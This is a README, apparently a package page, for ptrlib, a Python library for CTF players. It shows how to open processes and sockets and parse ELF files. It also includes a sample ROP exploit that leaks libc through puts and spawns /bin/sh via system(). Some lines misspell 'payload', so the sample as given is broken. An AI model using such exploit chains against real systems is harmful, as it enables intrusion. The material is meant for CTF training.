ptrlib 1.3.0

CTF library

ptrlib

Python library which bundles security-related utilities.

Description

Ptrlib is a Python library for CTF players. It's designed to make it easy to write a complex program of cryptography, networking, exploit and so on.

Requirement

Supports: Python 3.x
Library Dependency: pycryptodome

Usage

Basic examples are available at /examples.

Quick Document

There are many functions in ptrlib but let's see how to use it for pwn. You can run executable or create socket like this:

sock = Process("./pwn01")
sock = Process(["./pwn01", "--debug"])
sock = Socket("localhost", 1234)

If you have the target binary or libc, it's recommended to load the binary first.

elf = ELF("./pwn01")
libc = ELF("./libc.so.6")

And you can use useful methods such as got, plt, symbol, section and so on. The following is the pwn example of ROP stager.

got_puts = elf.got("puts")
plt_puts = elf.plt("puts")
plt_gets = elf.plt("gets")
stage2 = elf.section(".bss") + 0x400

payload = b'A' * 0x108
payload += p64(rop_pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(rop_pop_rdi)
payload += p64(stage2)
payload += p64(plt_gets)
paylaod += p64(rop_pop_rbp)
paylaod += p64(stage2)
payload += p64(rop_leave_ret)
sock.sendlineafter("Data: ", payload)

libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc base = " + hex(libc_base))
payload = b'A' * 8
paylaod += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.sendline(payload)

sock.interactive()

Install

Run pip install ptrlib or python setup.py install.

Licence

MIT

Author

ptr-yudai

Contributor

Feel free to make a pull request / issue :)

• theoremoon
  • Added/fixed several cryptography functions
  • Added buffering of Socket/Process
  • Added status check (CI test)